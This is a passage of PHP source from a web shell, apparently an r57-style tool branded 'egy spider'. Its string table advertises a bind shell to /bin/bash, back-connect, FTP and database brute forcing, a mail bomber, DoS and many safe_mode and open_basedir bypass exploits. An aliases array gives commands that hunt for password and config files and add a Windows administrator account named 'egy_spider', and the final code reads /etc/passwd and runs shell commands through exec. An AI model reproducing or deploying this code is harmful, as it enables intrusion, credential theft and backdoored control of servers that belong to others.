2193'eng_text51'=>'View memory info',
2194'eng_text52'=>'Find text',
2195'eng_text53'=>'In dirs',
2196'eng_text54'=>'Find text in files',
2197'eng_text55'=>'Only in files',
2198'eng_text56'=>'Nothing :(',
2199'eng_text57'=>'Create/Delete File/Dir',
2200'eng_text58'=>'name',
2201'eng_text59'=>'file',
2202'eng_text60'=>'dir',
2203'eng_text61'=>'File created',
2204'eng_text62'=>'Dir created',
2205'eng_text63'=>'File deleted',
2206'eng_text64'=>'Dir deleted',
2207'eng_text65'=>'Create',
2208'eng_text66'=>'Delete',
2209'eng_text67'=>'Chown/Chgrp/Chmod',
2210'eng_text68'=>'Command',
2211'eng_text69'=>'param1',
2212'eng_text70'=>'param2',
2213'eng_text71'=>"Second commands param is:\r\n- for CHOWN - name of new owner or UID\r\n- for CHGRP - group name or GID\r\n- for CHMOD - 0777, 0755...",
2214'eng_text72'=>'Text for find',
2215'eng_text73'=>'Find in folder',
2216'eng_text74'=>'Find in files',
2217'eng_text75'=>'* you can use regexp',
2218'eng_text76'=>'Search text in files via find',
2219'eng_text80'=>'Type',
2220'eng_text81'=>'Net',
2221'eng_text82'=>'Databases',
2222'eng_text83'=>'Run SQL query',
2223'eng_text84'=>'SQL query',
2224'eng_text85'=>'Test bypass safe_mode with commands execute via MSSQL server',
2225'eng_text86'=>'Download files from server',
2226'eng_text87'=>'Download files from remote ftp-server',
2227'eng_text88'=>'server:port',
2228'eng_text89'=>'File on ftp',
2229'eng_text90'=>'Transfer mode',
2230'eng_text91'=>'Archivation',
2231'eng_text92'=>'without arch.',
2232'eng_text93'=>'FTP',
2233'eng_text94'=>'FTP-bruteforce',
2234'eng_text95'=>'Users list',
2235'eng_text96'=>'Can\'t get users list',
2236'eng_text97'=>'checked: ',
2237'eng_text98'=>'success: ',
2238'eng_text99'=>'/etc/passwd',
2239'eng_text100'=>'Send file to remote ftp server',
2240'eng_text101'=>'Use reverse (user -> resu)',
2241'eng_text102'=>'Mail',
2242'eng_text103'=>'Send email',
2243'eng_text104'=>'Send file to email',
2244'eng_text105'=>'To',
2245'eng_text106'=>'From',
2246'eng_text107'=>'Subj',
2247'eng_text108'=>'Mail',
2248'eng_text109'=>'Hide',
2249'eng_text110'=>'Show',
2250'eng_text111'=>'SQL-Server : Port',
2251'eng_text112'=>'Test bypass safe_mode with function mb_send_mail() (PHP <= 4.0-4.2.2, 5.x)',
2252'eng_text113'=>'Test bypass safe_mode, view dir list via imap_list() (PHP <= 5.1.2)',
2253'eng_text114'=>'Test bypass safe_mode, view file contest via imap_body() (PHP <= 5.1.2)',
2254'eng_text115'=>'Test bypass safe_mode, copy file via copy(compress.zlib://) (PHP <= 4.4.2, 5.1.2)',
2255'eng_text116'=>'Copy from',
2256'eng_text117'=>'to',
2257'eng_text118'=>'File copied',
2258'eng_text119'=>'Cant copy file',
2259'eng_text120'=>'Test bypass safe_mode via ini_restore (PHP <= 4.4.4, 5.1.6) by NST',
2260'eng_text121'=>'Test bypass open_basedir, view dir list via fopen (PHP v4.4.0 memory leak) by NST',
2261'eng_text122'=>'Test bypass open_basedir, view dir list via glob() (PHP <= 5.2.x)',
2262'eng_text123'=>'Test bypass open_basedir, read *.bzip file via [compress.bzip2://] (PHP <= 5.2.1)',
2263'eng_text124'=>'Test bypass open_basedir, add data to file via error_log(php://) (PHP <= 5.1.4, 4.4.2)',
2264'eng_text125'=>'Data',
2265'eng_text126'=>'Test bypass open_basedir, create file via session_save_path[NULL-byte] (PHP <= 5.2.0)',
2266'eng_text127'=>'Test bypass open_basedir, add data to file via readfile(php://) (PHP <= 5.2.1, 4.4.4)',
2267'eng_text128'=>'Modify/Access file (touch)',
2268'eng_text129'=>'Test bypass open_basedir, create file via fopen(srpath://) (PHP v5.2.0)',
2269'eng_text130'=>'Test bypass open_basedir, read *.zip file via [zip://] (PHP <= 5.2.1)',
2270'eng_text131'=>'Test bypass open_basedir, view file contest via symlink() (PHP <= 5.2.1)',
2271'eng_'=>'Test bypass open_basedir, view dir list via symlink() (PHP <= 5.2.1)',
2272'eng_text133'=>'Test bypass open_basedir, create file via session_save_path(TMPDIR) (PHP <= 5.2.4)',
2273'eng_text134'=>'Database-bruteforce',
2274'eng_text135'=>'Dictionary',
2275'eng_text136'=>'Creating evil symlink',
2276'eng_text137'=>'Useful',
2277'eng_text138'=>'Dangerous',
2278'eng_text139'=>'Mail Bomber',
2279'eng_text140'=>'DoS',
2280'eng_text141'=>'Danger! Web-daemon crash possible.',
2281'eng_text142'=>'Downloaders',
2282'eng_text143'=>'Temp: ',
2283'eng_text144'=>'Test bypass safe_mode with load file in mysqli',
2284'eng_text145'=>'Test bypass open_basedir, view dir list via realpath() (PHP <= 5.2.4)',
2285'eng_text146'=>'Max Interation',
2286'eng_text147'=>'',
2287'eng_text148'=>'',
2288'eng_text149'=>'',
2289'eng_text150'=>'',
2290'eng_err0'=>'Error! Can\'t write in file ',
2291'eng_err1'=>'Error! Can\'t read file ',
2292'eng_err2'=>'Error! Can\'t create ',
2293'eng_err3'=>'Error! Can\'t connect to ftp',
2294'eng_err4'=>'Error! Can\'t login on ftp server',
2295'eng_err5'=>'Error! Can\'t change dir on ftp',
2296'eng_err6'=>'Error! Can\'t sent mail',
2297'eng_err7'=>'Mail send',
2298'eng_text1' =>'Executed command',
2299'eng_text2' =>'Execute command on server',
2300'eng_text3' =>'Run command',
2301'eng_text4' =>'Work directory',
2302'eng_text5' =>'Upload files on server',
2303'eng_text6' =>'Local file',
2304'eng_text7' =>'Aliases',
2305'eng_text8' =>'Select alias',
2306'eng_butt1' =>'Execute',
2307'eng_butt2' =>'Upload',
2308'eng_text9' =>'Bind port to /bin/bash',
2309'eng_text10'=>'Port',
2310'eng_text11'=>'Password for access',
2311'eng_butt3' =>'Bind',
2312'eng_text12'=>'back-connect',
2313'eng_text13'=>'IP',
2314'eng_text14'=>'Port',
2315'eng_butt4' =>'Connect',
2316'eng_text15'=>'Upload files from remote server',
2317'eng_text16'=>'With',
2318'eng_text17'=>'Remote file',
2319'eng_text18'=>'Local file',
2320'eng_text19'=>'Exploits',
2321'eng_text20'=>'Use',
2322'eng_text21'=>' New name',
2323'eng_text22'=>'datapipe',
2324'eng_text23'=>'Local port',
2325'eng_text24'=>'Remote host',
2326'eng_text25'=>'Remote port',
2327'eng_text26'=>'Use',
2328'eng_butt5' =>'Run',
2329'eng_text28'=>'Work in safe_mode',
2330'eng_text29'=>'ACCESS DENIED',
2331'eng_butt6' =>'Change',
2332'eng_text30'=>'Cat file',
2333'eng_butt7' =>'Show',
2334'eng_text31'=>'File not found',
2335'eng_text32'=>'Eval PHP code',
2336'eng_text33'=>'Test bypass open_basedir with cURL functions',
2337'eng_butt8' =>'Test',
2338'eng_text34'=>'Test bypass safe_mode with include function',
2339'eng_text35'=>'Test bypass safe_mode with load file in mysql',
2340'eng_text36'=>'Database . Table',
2341'eng_text37'=>'Login',
2342'eng_text38'=>'Password',
2343'eng_text39'=>'Database',
2344'eng_text40'=>'Dump database table',
2345'eng_butt9' =>'Dump',
2346'eng_text41'=>'Save dump in file',
2347'eng_text42'=>'Edit files',
2348'eng_text43'=>'File for edit',
2349'eng_butt10'=>'Save',
2350'eng_text44'=>'Can\'t edit file! Only read access!',
2351'eng_text45'=>'File saved',
2352'eng_text46'=>'Show phpinfo()',
2353'eng_text47'=>'Show variables from php.ini',
2354'eng_text48'=>'Delete temp files',
2355'eng_butt11'=>'Edit file',
2356'eng_text49'=>'Delete script from server',
2357'eng_text50'=>'View cpu info',
2358'eng_text51'=>'View memory info',
2359'eng_text52'=>'Find text',
2360'eng_text53'=>'In dirs',
2361'eng_text54'=>'Find text in files',
2362'eng_butt12'=>'Find',
2363'eng_text55'=>'Only in files',
2364'eng_text56'=>'Nothing :(',
2365'eng_text57'=>'Create/Delete File/Dir',
2366'eng_text58'=>'name',
2367'eng_text59'=>'file',
2368'eng_text60'=>'dir',
2369'eng_butt13'=>'Create/Delete',
2370'eng_text61'=>'File created',
2371'eng_text62'=>'Dir created',
2372'eng_text63'=>'File deleted',
2373'eng_text64'=>'Dir deleted',
2374'eng_butt65'=>'Create',
2375'eng_text65'=>'Create',
2376'eng_text66'=>'Delete',
2377'eng_text67'=>'Chown/Chgrp/Chmod',
2378'eng_text68'=>'Command',
2379'eng_text69'=>'param1',
2380'eng_text70'=>'param2',
2381'eng_text71'=>"Second commands param is:\r\n- for CHOWN - name of new owner or UID\r\n- for CHGRP - group name or GID\r\n- for CHMOD - 0777, 0755...",
2382'eng_text72'=>'Text for find',
2383'eng_text73'=>'Find in folder',
2384'eng_text74'=>'Find in files',
2385'eng_text75'=>'* you can use regexp',
2386'eng_text76'=>'Search text in files via find',
2387'eng_text80'=>'Type',
2388'eng_text81'=>'Net',
2389'eng_text82'=>'Databases',
2390'eng_text83'=>'Run SQL query',
2391'eng_text84'=>'SQL query',
2392'eng_text85'=>'Test bypass safe_mode with commands execute via MSSQL server',
2393'eng_text86'=>'Download files from server',
2394'eng_butt14'=>'Download',
2395'eng_text87'=>'Download files from remote ftp-server',
2396'eng_text88'=>'FTP-server:port',
2397'eng_text89'=>'File on ftp',
2398'eng_text90'=>'Transfer mode',
2399'eng_text91'=>'Archivation',
2400'eng_text92'=>'without archivation',
2401'eng_text93'=>'FTP',
2402'eng_text94'=>'FTP-bruteforce',
2403'eng_text95'=>'Users list',
2404'eng_text96'=>'Can\'t get users list',
2405'eng_text97'=>'checked: ',
2406'eng_text98'=>'success: ',
2407'eng_text99'=>'* use username from /etc/passwd for ftp login and password',
2408'eng_text100'=>'Send file to remote ftp server',
2409'eng_text101'=>'Use reverse (user -> resu) login for password',
2410'eng_text102'=>'Mail',
2411'eng_text103'=>'Send email',
2412'eng_text104'=>'Send file to email',
2413'eng_text105'=>'To',
2414'eng_text106'=>'From',
2415'eng_text107'=>'Subj',
2416'eng_butt15'=>'Send',
2417'eng_text108'=>'Mail',
2418'eng_text109'=>'Hide',
2419'eng_text110'=>'Show',
2420'eng_text111'=>'SQL-Server : Port',
2421'eng_text112'=>'Test bypass safe_mode with function mb_send_mail',
2422'eng_text113'=>'Test bypass safe_mode, view dir list via imap_list',
2423'eng_text114'=>'Test bypass safe_mode, view file contest via imap_body',
2424'eng_text115'=>'Test bypass safe_mode, copy file via compress.zlib:// in function copy()',
2425'eng_text116'=>'Copy from',
2426'eng_text117'=>'to',
2427'eng_text118'=>'File copied',
2428'eng_text119'=>'Cant copy file',
2429'eng_err0'=>'Error! Can\'t write in file ',
2430'eng_err1'=>'Error! Can\'t read file ',
2431'eng_err2'=>'Error! Can\'t create ',
2432'eng_err3'=>'Error! Can\'t connect to ftp',
2433'eng_err4'=>'Error! Can\'t login on ftp server',
2434'eng_err5'=>'Error! Can\'t change dir on ftp',
2435'eng_err6'=>'Error! Can\'t sent mail',
2436'eng_err7'=>'Mail send',
2437'eng_text200'=>'read file from vul copy()',
2438'eng_text500'=>'read file from id()',
2439'eng_text555'=>'read file from imap()',
2440'eng_text202'=>'where file in server',
2441'eng_text300'=>'read file from vul curl()',
2442'eng_text203'=>'read file from vul ini_restore()',
2443'eng_text204'=>'write shell from vul error_log()',
2444'eng_text205'=>'write shell in this side',
2445'eng_text206'=>'read dir',
2446'eng_text207'=>'read dir from vul reg_glob',
2447'eng_text208'=>'execute with function',
2448'eng_text209'=>'read dir from vul root',
2449'eng_text210'=>'DeZender ',
2450'eng_text211'=>'::safe_mode off::',
2451'eng_text212'=>'colse safe_mode with php.ini',
2452'eng_text213'=>'colse security_mod with .htaccess',
2453'eng_text214'=>'Admin name',
2454'eng_text215'=>'IRC server ',
2455'eng_text216'=>'#room name',
2456'eng_text217'=>'server',
2457'eng_text218'=>'write ini.php file to close safe_mode with ini_restore vul',
2458'eng_text225'=>'MySQL Safe Mode Bypass 4.4.7 / 5.2.3 PHP ',
2459'eng_text226'=>'Safe Mode Bpass Root Directory: ',
2460'eng_text227'=>'Safe_Mode Bypass 4.4.2/5.1.2: ',
2461'eng_text228'=>'tools for hacker vb ',
2462'eng_text230'=>'know pass of cpanel ',
2463'eng_text219'=>'Get file to server in safe_mode and change name',
2464'eng_text220'=>'show file with symlink vul',
2465'eng_text221'=>'zip file in server to download',
2466'eng_text222'=>'2 symlink use vul',
2467'eng_text223'=>'read file from funcution',
2468'eng_text224'=>'read file from PLUGIN ',
2469'eng_butt1' =>'Execute',
2470'eng_butt2' =>'Upload',
2471'eng_butt3' =>'Bind',
2472'eng_butt4' =>'Connect',
2473'eng_butt5' =>'Run',
2474'eng_butt6' =>'Change',
2475'eng_butt7' =>'Show',
2476'eng_butt8' =>'Test',
2477'eng_butt9' =>'Dump',
2478'eng_butt10'=>'Save',
2479'eng_butt11'=>'Edit file',
2480'eng_butt12'=>'Find',
2481'eng_butt13'=>'Create/Delete',
2482'eng_butt14'=>'Download',
2483'eng_butt15'=>'Send',
2484'eng_text1' =>'Executed command',
2485'eng_text2' =>'Execute command on server',
2486'eng_text3' =>'Run command',
2487'eng_text4' =>'Work directory',
2488'eng_text5' =>'Upload files on server',
2489'eng_text6' =>'Local file',
2490'eng_text7' =>'Aliases',
2491'eng_text8' =>'Select alias',
2492'eng_text9' =>'Bind port to /bin/bash',
2493'eng_text10'=>'Port',
2494'eng_text11'=>'Password for access',
2495'eng_text12'=>'back-connect',
2496'eng_text13'=>'IP',
2497'eng_text14'=>'Port',
2498'eng_text15'=>'Upload files from remote server',
2499'eng_text16'=>'With',
2500'eng_text17'=>'Remote file',
2501'eng_text18'=>'Local file',
2502'eng_text19'=>'Exploits',
2503'eng_text20'=>'Use',
2504'eng_text21'=>' New name',
2505'eng_text22'=>'datapipe',
2506'eng_text23'=>'Local port',
2507'eng_text24'=>'Remote host',
2508'eng_text25'=>'Remote port',
2509'eng_text26'=>'Use',
2510'eng_text28'=>'Work in safe_mode',
2511'eng_text29'=>'ACCESS DENIED',
2512'eng_text30'=>'Cat file',
2513'eng_text31'=>'File not found',
2514'eng_text32'=>'Eval PHP code',
2515'eng_text33'=>'Test bypass open_basedir with cURL functions(PHP <= 4.4.2, 5.1.4)',
2516'eng_text34'=>'Test bypass safe_mode with include function',
2517'eng_text35'=>'Test bypass safe_mode with load file in mysql',
2518'eng_text36'=>'Database . Table',
2519'eng_text37'=>'Login',
2520'eng_text38'=>'Password',
2521'eng_text39'=>'Database',
2522'eng_text40'=>'Dump database table',
2523'eng_text41'=>'Save dump in file',
2524'eng_text42'=>'Edit files',
2525'eng_text43'=>'File for edit',
2526'eng_text44'=>'Can\'t edit file! Only read access!',
2527'eng_text45'=>'File saved',
2528'eng_text46'=>'Show phpinfo()',
2529'eng_text47'=>'Show variables from php.ini',
2530'eng_text48'=>'Delete temp files',
2531'eng_text49'=>'Delete script from server',
2532'eng_text50'=>'View cpu info',
2533'eng_text51'=>'View memory info',
2534'eng_text52'=>'Find text',
2535'eng_text53'=>'In dirs',
2536'eng_text54'=>'Find text in files',
2537'eng_text55'=>'Only in files',
2538'eng_text56'=>'Nothing :(',
2539'eng_text57'=>'Create/Delete File/Dir',
2540'eng_text58'=>'name',
2541'eng_text59'=>'file',
2542'eng_text60'=>'dir',
2543'eng_text61'=>'File created',
2544'eng_text62'=>'Dir created',
2545'eng_text63'=>'File deleted',
2546'eng_text64'=>'Dir deleted',
2547'eng_text65'=>'Create',
2548'eng_text66'=>'Delete',
2549'eng_text67'=>'Chown/Chgrp/Chmod',
2550'eng_text68'=>'Command',
2551'eng_text69'=>'param1',
2552'eng_text70'=>'param2',
2553'eng_text71'=>"Second commands param is:\r\n- for CHOWN - name of new owner or UID\r\n- for CHGRP - group name or GID\r\n- for CHMOD - 0777, 0755...",
2554'eng_text72'=>'Text for find',
2555'eng_text73'=>'Find in folder',
2556'eng_text74'=>'Find in files',
2557'eng_text75'=>'* you can use regexp',
2558'eng_text76'=>'Search text in files via find',
2559'eng_text80'=>'Type',
2560'eng_text81'=>'Net',
2561'eng_text82'=>'Databases',
2562'eng_text83'=>'Run SQL query',
2563'eng_text84'=>'SQL query',
2564'eng_text85'=>'Test bypass safe_mode with commands execute via MSSQL server',
2565'eng_text86'=>'Download files from server',
2566'eng_text87'=>'Download files from remote ftp-server',
2567'eng_text88'=>'server:port',
2568'eng_text89'=>'File on ftp',
2569'eng_text90'=>'Transfer mode',
2570'eng_text91'=>'Archivation',
2571'eng_text92'=>'without arch.',
2572'eng_text93'=>'FTP',
2573'eng_text94'=>'FTP-bruteforce',
2574'eng_text95'=>'Users list',
2575'eng_text96'=>'Can\'t get users list',
2576'eng_text97'=>'checked: ',
2577'eng_text98'=>'success: ',
2578'eng_text99'=>'/etc/passwd',
2579'eng_text100'=>'Send file to remote ftp server',
2580'eng_text101'=>'Use reverse (user -> resu)',
2581'eng_text102'=>'Mail',
2582'eng_text103'=>'Send email',
2583'eng_text104'=>'Send file to email',
2584'eng_text105'=>'To',
2585'eng_text106'=>'From',
2586'eng_text107'=>'Subj',
2587'eng_text108'=>'Mail',
2588'eng_text109'=>'Hide',
2589'eng_text110'=>'Show',
2590'eng_text111'=>'SQL-Server : Port',
2591'eng_text112'=>'Test bypass safe_mode with function mb_send_mail() (PHP <= 4.0-4.2.2, 5.x)',
2592'eng_text113'=>'Test bypass safe_mode, view dir list via imap_list() (PHP <= 5.1.2)',
2593'eng_text114'=>'Test bypass safe_mode, view file contest via imap_body() (PHP <= 5.1.2)',
2594'eng_text115'=>'Test bypass safe_mode, copy file via copy(compress.zlib://) (PHP <= 4.4.2, 5.1.2)',
2595'eng_text116'=>'Copy from',
2596'eng_text117'=>'to',
2597'eng_text118'=>'File copied',
2598'eng_text119'=>'Cant copy file',
2599'eng_text120'=>'Test bypass safe_mode via ini_restore (PHP <= 4.4.4, 5.1.6) by NST',
2600'eng_text121'=>'Test bypass open_basedir, view dir list via fopen (PHP v4.4.0 memory leak) by NST',
2601'eng_text122'=>'Test bypass open_basedir, view dir list via glob() (PHP <= 5.2.x)',
2602'eng_text123'=>'Test bypass open_basedir, read *.bzip file via [compress.bzip2://] (PHP <= 5.2.1)',
2603'eng_text124'=>'Test bypass open_basedir, add data to file via error_log(php://) (PHP <= 5.1.4, 4.4.2)',
2604'eng_text125'=>'Data',
2605'eng_text126'=>'Test bypass open_basedir, create file via session_save_path[NULL-byte] (PHP <= 5.2.0)',
2606'eng_text127'=>'Test bypass open_basedir, add data to file via readfile(php://) (PHP <= 5.2.1, 4.4.4)',
2607'eng_text128'=>'Modify/Access file (touch)',
2608'eng_text129'=>'Test bypass open_basedir, create file via fopen(srpath://) (PHP v5.2.0)',
2609'eng_text130'=>'Test bypass open_basedir, read *.zip file via [zip://] (PHP <= 5.2.1)',
2610'eng_text131'=>'Test bypass open_basedir, view file contest via symlink() (PHP <= 5.2.1)',
2611'eng_text132'=>'Test bypass open_basedir, view dir list via symlink() (PHP <= 5.2.1)',
2612'eng_text133'=>'Test bypass open_basedir, create file via session_save_path(TMPDIR) (PHP <= 5.2.4)',
2613'eng_text134'=>'Database-bruteforce',
2614'eng_text135'=>'Dictionary',
2615'eng_text136'=>'Creating evil symlink',
2616'eng_text137'=>'Useful',
2617'eng_text138'=>'Dangerous',
2618'eng_text139'=>'Mail Bomber',
2619'eng_text140'=>'DoS',
2620'eng_text141'=>'Danger! Web-daemon crash possible.',
2621'eng_text142'=>'Downloaders',
2622'eng_text143'=>'Temp: ',
2623'eng_text144'=>'Test bypass safe_mode with load file in mysqli',
2624'eng_text145'=>'Test bypass open_basedir, view dir list via realpath() (PHP <= 5.2.4)',
2625'eng_text146'=>'Max Interation',
2626'eng_text151'=>'Test bypass safe_mode with chdir()and ftok() (PHP <= 5.2.6)',
2627'eng_text161'=>'Test bypass safe_mode with posix_access() (posix ext) (PHP <= 5.2.6)',
2628'eng_text162'=>'ionCube extension safe_mode and disable_functions protections bypass (PHP <= 5.2.4)',
2629'eng_text163'=>'PHP Perl Extension Safe_mode Bypass Exploit',
2630'eng_text170'=>' Test bypass safe_mode and Open_basedir Settings by Posix_getpw (PHP <= 4.2.0)',
2631'eng_text171'=>' PHP (Win32std) Extension safe_mode/disable_functions Protections Bypass (PHP <= 5.2.3)',
2632'eng_text147'=>'',
2633'eng_text148'=>'',
2634'eng_text149'=>'',
2635'eng_text150'=>'',
2636'eng_text159'=>'About egy spider',
2637'eng_text152'=>'Latest News',
2638'eng_text153'=>'Logout ',
2639'eng_text154'=>'Quick index ',
2640'eng_text155'=>'Mass Code Injection ',
2641'eng_text156'=>'File source ',
2642'eng_text157'=>'Registration in Zone-h ',
2643'eng_text158'=>'Hash Tools ',
2644'eng_text160'=>'Home Shell ',
2645'eng_text180'=>'Send Your Comments And Contacted Me ',
2646'eng_err0'=>'Error! Can\'t write in file ',
2647'eng_err1'=>'Error! Can\'t read file ',
2648'eng_err2'=>'Error! Can\'t create ',
2649'eng_err3'=>'Error! Can\'t connect to ftp',
2650'eng_err4'=>'Error! Can\'t login on ftp server',
2651'eng_err5'=>'Error! Can\'t change dir on ftp',
2652'eng_err6'=>'Error! Can\'t sent mail',
2653'eng_err7'=>'Mail send',
2654
2655);
2656/*
2657?????? ??????
2658????????? ???????? ????????????? ?????? ????? ? ???-?? ??????. ( ??????? ????????? ???? ????????? ???? )
2659?? ?????? ???? ????????? ??? ???????? ???????.
2660*/
2661$aliases=array(
2662'----------------------------------locate'=>'',
2663'find httpd.conf files'=>'/tmp/grep.txt;cat /tmp/grep.txt',
2664'locate httpd.conf files'=>'/tmp/grep.txt;cat /tmp/grep.txt',
2665'locate vhosts.conf files'=>'/tmp/grep.txt;cat /tmp/grep.txt',
2666'locate proftpd.conf files'=>'/tmp/grep.txt;cat /tmp/grep.txt',
2667'locate psybnc.conf'=>'/tmp/grep.txt;cat /tmp/grep.txt',
2668'locate my.conf files'=>'/tmp/grep.txt;cat /tmp/grep.txt',
2669'locate admin.php files'=>'/tmp/grep.txt;cat /tmp/grep.txt',
2670'locate cfg.php files'=>'/tmp/grep.txt;cat /tmp/grep.txt',
2671'locate conf.php files'=>'/tmp/grep.txt;cat /tmp/grep.txt',
2672'locate config.dat files'=>'/tmp/grep.txt;cat /tmp/grep.txt',
2673'locate config.php files'=>'/tmp/grep.txt;cat /tmp/grep.txt',
2674'locate config.inc files'=>'/tmp/grep.txt;cat /tmp/grep.txt',
2675'locate config.inc.php files'=>'/tmp/grep.txt;cat /tmp/grep.txt',
2676'locate config.default.php files'=>'/tmp/grep.txt;cat /tmp/grep.txt',
2677'locate .conf files'=>'/tmp/grep.txt;cat /tmp/grep.txt',
2678'locate .pwd files'=>'/tmp/grep.txt;cat /tmp/grep.txt',
2679'locate .sql files'=>'/tmp/grep.txt;cat /tmp/grep.txt',
2680'locate .htpasswd files'=>'/tmp/grep.txt;cat /tmp/grep.txt',
2681'locate .bash_history files'=>'/tmp/grep.txt;cat /tmp/grep.txt',
2682'locate .mysql_history files'=>'/tmp/grep.txt;cat /tmp/grep.txt',
2683'locate backup files'=>'/tmp/grep.txt;cat /tmp/grep.txt',
2684'locate dump files'=>'/tmp/grep.txt;cat /tmp/grep.txt',
2685'locate priv files'=>'/tmp/grep.txt;cat /tmp/grep.txt',
2686'locate vhosts.conf files'=>'/tmp/grep.txt;cat /tmp/grep.txt',
2687'________________find orders ______________-'=>'/tmp/grep.txt;cat /tmp/grep.txt',
2688'cat /var/cpanel/accounting.log'=>'cat /var/cpanel/accounting.log',
2689'find all site of server and user'=>'ls -la /etc/valiases',
2690'find suid files'=>'find / -type f -perm -04000 -ls',
2691'find suid files in current dir'=>'find . -type f -perm -04000 -ls',
2692'find sgid files'=>'find / -type f -perm -02000 -ls',
2693'find sgid files in current dir'=>'find . -type f -perm -02000 -ls',
2694'find config.inc.php files'=>'find / -type f -name config.inc.php',
2695'find config.inc.php files in current dir'=>'find . -type f -name config.inc.php',
2696'find config* files'=>'find / -type f -name "config*"',
2697'find config* files in current dir'=>'find . -type f -name "config*"',
2698'find all writable files'=>'find / -type f -perm -2 -ls',
2699'find all writable files in current dir'=>'find . -type f -perm -2 -ls',
2700'find all writable directories'=>'find / -type d -perm -2 -ls',
2701'find all writable directories in current dir'=>'find . -type d -perm -2 -ls',
2702'find all writable directories and files'=>'find / -perm -2 -ls',
2703'find all writable directories and files in current dir'=>'find . -perm -2 -ls',
2704'find all service.pwd files'=>'find / -type f -name service.pwd',
2705'find service.pwd files in current dir'=>'find . -type f -name service.pwd',
2706'find all .htpasswd files'=>'find / -type f -name .htpasswd',
2707'find .htpasswd files in current dir'=>'find . -type f -name .htpasswd',
2708'find all .bash_history files'=>'find / -type f -name .bash_history',
2709'find .bash_history files in current dir'=>'find . -type f -name .bash_history',
2710'find all .mysql_history files'=>'find / -type f -name .mysql_history',
2711'find .mysql_history files in current dir'=>'find . -type f -name .mysql_history',
2712'find all .fetchmailrc files'=>'find / -type f -name .fetchmailrc',
2713'find .fetchmailrc files in current dir'=>'find . -type f -name .fetchmailrc',
2714'list file attributes on a Linux second extended file system'=>'lsattr -va',
2715'show opened ports'=>'netstat -an | grep -i listen',
2716'________________var orders var______________-'=>'/tmp/grep.txt;cat /tmp/grep.txt',
2717'find /var/ error_log files'=>'/tmp/grep.txt;cat /tmp/grep.txt',
2718'find /var/ access.log files'=>'/tmp/grep.txt;cat /tmp/grep.txt',
2719'find /var/ error.log files'=>'/tmp/grep.txt;cat /tmp/grep.txt',
2720'find /var/ "*.log" files'=>'/tmp/grep.txt;cat /tmp/grep.txt',
2721'________________for server windows ______________-'=>'/tmp/grep.txt;cat /tmp/grep.txt',
2722'1_learn the management server'=>'net user',
2723'2_add new user'=>'net user egy_spider 123456 /add',
2724'3_add your user for admin group (this order after add order 1&2'=>'net localgroup administrators egy_spider /add',
2725'----------------------------------------------------------------------------------------------------'=>'ls -la'
2726);
2727$table_up1 = "<tr><td bgcolor=#333333><font face=Verdana size=-2><b><div align=center>:: ";
2728$table_up2 = " ::</div></b></font></td></tr><tr><td>";
2729$table_up3 = "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#333333>";
2730$table_end1 = "</td></tr>";
2731$arrow = " <font face=Webdings color=gray>4</font>";
2732$lb = "<font color=black>[</font>";
2733$rb = "<font color=black>]</font>";
2734$font = "<font face=Verdana size=-2>";
2735$ts = "<table class=table1 width=100% align=center>";
2736$te = "</table>";
2737$fs = "<form name=form method=POST>";
2738$fe = "</form>";
2739
2740if(isset($_GET['users']))
2741 {
2742 if(!$users=get_users('/etc/passwd')) { echo "<center><font face=Verdana size=-2 color=red>".$lang[$language.'_text96']."</font></center>"; }
2743 else
2744 {
2745 echo '<center>';
2746 foreach($users as $user) { echo $user."<br>"; }
2747 echo '</center>';
2748 }
2749 echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href='".$_SERVER['PHP_SELF']."'>BACK</a> ]</b></font></div>"; die();
2750 }
2751
2752if (!empty($_POST['dir'])) { if(@function_exists('chdir')){@chdir($_POST['dir']);} else if(@function_exists('chroot')){ @chroot($_POST['dir']);}; }
2753if (empty($_POST['dir'])){if(@function_exists('chdir')){$dir = @getcwd();};}else{$dir=$_POST['dir'];}
2754$unix = 0;
2755if(strlen($dir)>1 && $dir[1]==":") $unix=0; else $unix=1;
2756if(empty($dir))
2757 {
2758 $os = getenv('OS');
2759 if(empty($os)){ $os = @php_uname(); }
2760 if(empty($os)){ $os ="-"; $unix=1; }
2761 else
2762 {
2763 if(@eregi("^win",$os)) { $unix = 0; }
2764 else { $unix = 1; }
2765 }
2766 }
2767
2768if(!empty($_POST['s_dir']) && !empty($_POST['s_text']) && !empty($_POST['cmd']) && $_POST['cmd'] == "search_text")
2769 {
2770 echo $head;
2771
2772 if(!empty($_POST['s_mask']) && !empty($_POST['m'])) { $sr = new SearchResult($_POST['s_dir'],$_POST['s_text'],$_POST['s_mask']); }
2773 else { $sr = new SearchResult($_POST['s_dir'],$_POST['s_text']); }
2774 $sr->SearchText(0,0);
2775 $res = $sr->GetResultFiles();
2776 $found = $sr->GetMatchesCount();
2777 $titles = $sr->GetTitles();
2778 $r = "";
2779 if($found > 0)
2780 {
2781 $r .= "<TABLE width=100%>";
2782 foreach($res as $file=>$v)
2783 {
2784 $r .= "<TR>";
2785 $r .= "<TD colspan=2><font face=Verdana size=-2><b>".ws(3);
2786 $r .= (!$unix)? str_replace("/","\\",$file) : $file;
2787 $r .= "</b></font></ TD>";
2788 $r .= "</TR>";
2789 foreach($v as $a=>$b)
2790 {
2791 $r .= "<TR>";
2792 $r .= "<TD align=center><B><font face=Verdana size=-2>".$a."</font></B></TD>";
2793 $r .= "<TD><font face=Verdana size=-2>".ws(2).$b."</font></TD>";
2794 $r .= "</TR>\n";
2795 }
2796 }
2797 $r .= "</TABLE>";
2798 echo $r;
2799 }
2800 else
2801 {
2802 echo "<P align=center><B><font face=Verdana size=-2>".$lang[$language.'_text56']."</B></font></P>";
2803 }
2804 echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href='".$_SERVER['PHP_SELF']."'>BACK</a> ]</b></font></div>";
2805 die();
2806 }
2807
2808/*if(!$safe_mode && strpos(ex("echo abcr57"),"r57")!=3) { $safe_mode = 1; }*/
2809if(strpos(ex("echo abcr57"),"r57")!=3) { $safe_mode = 1; }else{$safe_mode = 0;}
2810$SERVER_SOFTWARE = getenv('SERVER_SOFTWARE');
2811if(empty($SERVER_SOFTWARE)){ $SERVER_SOFTWARE = "-"; }
2812
2813function ws($i)
2814{
2815return @str_repeat(" ",$i);
2816}
2817
2818function ex($cfe)
2819{global $unix,$tempdir;
2820 $res = '';
2821 if (!empty($cfe))
2822 {
2823 if(@function_exists('exec'))
2824 {
2825 @exec($cfe,$res);
2826 $res = join("\n",$res);
2827 }
2828 elseif(@function_exists('shell_exec'))
2829 {
2830 $res = @shell_exec($cfe);
